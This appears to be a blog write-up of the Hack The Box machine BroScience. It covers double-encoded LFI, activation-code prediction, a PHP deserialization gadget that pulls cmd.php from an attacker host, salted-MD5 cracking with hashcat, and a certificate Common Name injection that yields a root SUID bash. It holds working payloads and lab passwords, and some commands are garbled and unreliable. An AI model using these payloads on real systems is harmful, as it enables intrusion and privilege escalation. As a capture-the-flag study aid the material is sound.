hackthebox broscience medium

发布时间 2023-12-14 22:47:20作者: lisenMiller

Briefly instruction: This time,the target machine encouter some url coding,php code audit found deserialization,script writing according to the content,pgsql injection,hashcat blasting with salt value and pspy found automatically run scripts.After auditing shell script,extract from the content of openssl(careful code auditing of the role of shellscripts is very important here)

process explanation:

Access the website

There is a login box,but it says after the register that it still needs to be activated by the mailbox to use it.Look at the source page of the web page shows the contents of img.php

Also tell us the path parameter.We can try LFI.The first time I directly used ../../../../ but it didn't work,The next is to use double urlencode the ../../../  to ..%252F..%252F..%252F and it works.

Now that we can LFI,since it is apache,we can also check the enviromnet by including /proc/self/cmdline and /proc/self/environ.

But here we can use the relative path to include the output of sensitive files.Start with index.php or we can see img.php,in looking at the php content,what other php includes?

Here we have tot carefully exmaine what content there is,There is an activate.php and utis.php.After looking at it,we find that there is a php script inside.

function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

Generate an activation code according to this script,but it should be noted that the original time() function generates the time,but we need to generate it in the corresponding time.

So here we are using the strtotime() function to output the time after register on burp

After generating with activate.php, you need to put the generated base64 into activate.php. In code=, if you go directly into activate.php, he prompts you to need a parameter which can be FUZZed by arjun, of course, you can also audit the code

After successful activation, it can be known through code audit that index.php will have a user-prefs cookie, which has a deserialization vulnerability

Since deserialization is required, it is necessary to pay attention to some automatic call functions of construct or destruct

And it is important to note that the class class declared in php uses avatar and avatarinterface to write shell operations

Note: The file_get_contents function can access files remotely

The code here is:

<?php

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath;

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$avatar_interface = new AvatarInterface();
$avatar_interface->tmp = "http://10.10.14.6/cmd.php";
$avatar_interface->imgPath = "./cmd.php";
$cookie = base64_encode(serialize($avatar_interface));
echo $cookie;
?>
 

After generating serialized data, open http on the machine to download the file opposite, and successfully rebound as the shell of www-data

SHELL as www-data

Log in according to the pgsql account password found

The pgsql login command is psql -h locahost -U dbuser -d broscience

password:

Once found, use \list \dt to view the contents

The specific operation has to continue to learn

After checking it, it was found that the md5 type was used, and using hashcat -m md5 was the wrong password, so we need to know what the specific storage method is. Back to the php code audit, we found that the password exported by pg_execute was md5('nacl','password'). So there is a salt value in front, so we have to use hashcat to display the mode and highlight the salt value to do the password burst

hashcat hashes.txt --user -m 20 /usr/share/worldlists/rockyou.txt  

20 | md5($salt.$pass)                 

The --user flag tells hashcat to split off the string before the first : as the username. 

hashes.txt test :

hash:nacl
hash:nacl

The exploded information is even the password,using the password to log in to ssh

shell as bill

Keep scrolling for some useful detial such as /dev/shm /opt /home/bill /var/www/html/* /etc/crontab sudo -l and so on

We can upload the pspy64 to examine whether there are any auto missons,this box have auto missions

2023/03/31 08:14:01 CMD: UID=0     PID=298411 | /usr/sbin/CRON -f 
2023/03/31 08:14:01 CMD: UID=0     PID=298412 | /usr/sbin/CRON -f 
2023/03/31 08:14:01 CMD: UID=0     PID=298413 | /bin/sh -c /root/cron.sh 
2023/03/31 08:14:01 CMD: UID=0     PID=298414 | /bin/bash /root/cron.sh 
2023/03/31 08:14:01 CMD: UID=0     PID=298415 | /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt 
2023/03/31 08:14:01 CMD: UID=0     PID=298416 | 
2023/03/31 08:14:01 CMD: UID=0     PID=298417 | /bin/bash /root/cron.sh 

 

The process /opt/renew_cert.sh is running as root privilege,so we can look at the command of this shell script

OPERATION ATTENTION hava code analysis about this script

The loophole of this code as follows:

    country=$(echo $subject | grep -Eo 'C = .{2}')  #-Eo is only output the line that matches the pattern following
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4} #For example, if country is the string "Germany", ${country:4} would return the substring "any".
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')  # awk takes a comman as a sperator and prints the content befor the comman(note the certificate generated by openssl)

This first outputs the contents of the subject and specific parameters, and then outputs them again

The first ouputs the content of subjec and specific parameters ,and then outputs them again

But then the awk command is executed, and the content before ', 'is output to the corresponding content

Found in a closer look at the statements generated by openssl

Generating a RSA private key
......................................................+++++
......................+++++
writing new private key to '/dev/null'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/test; chmod 4777 /tmp/test)                    
Email Address []:

Because State or Province Name (full name)[Some-State]: does not contain,*.? So it won't be output to a new file at all

At the same time, for the second pass, only the Country Name and Comman Name meet the conditions, but the payload we output must have a length, such as $(chmod u+s /bin/bash) or $(cp /bin/bash /tmp/test; chmod 4777 /tmp/test)

Therefore, you can execute commands to root privileges

OPERATION ATTENTION

1. If you want to try whether LFI can be performed, in addition to... /.. /.. /.. /.. /.. / It should also urlencode or urlencode twice as / -> %2F -> %252F

2. When the LFI can be included, if you encounter the flask framework, you can use /proc/self_cmdline to see what is the py file of the framework running the web

But for middleware like apache, you can start with files like index.php that you can see and include sensitive files

3.srand() Setting Set the number of seeds. rand randomly obtains seeds

4. If a password with a database has a salt value, you can also use hashcat to mark the salt value and then use it

hashcat hashes --user /usr/share/wordlists/rockyou.txt

And what I get is this

  ======+============================================================+======================================
     10 | md5($pass.$salt)                                           | Raw Hash salted and/or iterated
     20 | md5($salt.$pass)                                           | Raw Hash salted and/or iterated
   3800 | md5($salt.$pass.$salt)                                     | Raw Hash salted and/or iterated
   3710 | md5($salt.md5($pass))                                      | Raw Hash salted and/or iterated
   4110 | md5($salt.md5($pass.$salt))                                | Raw Hash salted and/or iterated

So the salt value of this box is nacl and recorded in the password is md5sum('nacl','password'), so the representation in hashtxt is in -m20 mode to let hashcat know where the salt value is

Specifying which mode is is the first problem and the second problem is the representation in hashtxt

Use: Separate hash and salt values to let hashcat know

As follows

hash:nacl

hash:nacl

In running the corresponding command hashcat hashes - usre -m 20 - w/usr/share/wordlists unencrypted usernames. TXT

After success -show display

$ hashcat hashes --user -m 20 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...[snip]...
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym    
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest     
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples 
...[snip]...

5. If you need to upload something, you can use not only wget and curl, but also sshpass

Command: sshpass -p 'iluvhorsesandgym SCP/opt/pspy64 bill@broscience.htb: / dev/SHM/pspy

6.shell script audit

#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
   #Here, $# is a special shell variable that gets the number of command-line arguments passed to a script or function echo
"Usage: $0 certificate.crt";  #$0is get the name of this shell exit 0; fi if [ -f $1 ]; then  #-f means that examine the $1 whether is a normal file openssl x509 -in $1 -noout -checkend 86400 > /dev/null   #-in $1:This specifies the input file for the command,where $1 represents the first command-line argument passwd to the script or function.
  #It is expected to be the path to X.509 certificate file.
  # -noout :This option tells openssl not to output the certificate details to the console
  # -checkend 86400:This options checks if the certificate is still valid for the next 24hours.
  #If the certificate is valid for at least that duration,the command will exit with a success status code
  #Otherwise,it will exit with a non-zero status code
if [ $? -eq 0 ]; then  #$? is a special shell variable that holds the exit status of the last executed command or script echo "No need to renew yet."; exit 1; fi subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-) country=$(echo $subject | grep -Eo 'C = .{2}')  #-Eo is only output the line that matches the pattern following state=$(echo $subject | grep -Eo 'ST = .*,') locality=$(echo $subject | grep -Eo 'L = .*,') organization=$(echo $subject | grep -Eo 'O = .*,') organizationUnit=$(echo $subject | grep -Eo 'OU = .*,') commonName=$(echo $subject | grep -Eo 'CN = .*,?') emailAddress=$(openssl x509 -in $1 -noout -email) country=${country:4} #For example, if country is the string "Germany", ${country:4} would return the substring "any". state=$(echo ${state:5} | awk -F, '{print $1}') locality=$(echo ${locality:3} | awk -F, '{print $1}') organization=$(echo ${organization:4} | awk -F, '{print $1}') organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}') commonName=$(echo ${commonName:5} | awk -F, '{print $1}')   echo $subject; echo ""; echo "Country => $country"; echo "State => $state"; echo "Locality => $locality"; echo "Org Name => $organization"; echo "Org Unit => $organizationUnit"; echo "Common Name => $commonName"; echo "Email => $emailAddress"; echo -e "\nGenerating certificate..."; openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country $state $locality $organization $organizationUnit $commonName $emailAddress " 2>/dev/null /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt" else echo "File doesn't exist" exit 1; fi%

7. If you add a $variable to a shell script, bash executes the contents of the variable directly

8. If you can see the content of the code through LFI, we can look at the generation of cookies for specific cookies, and is there a chance to deserialize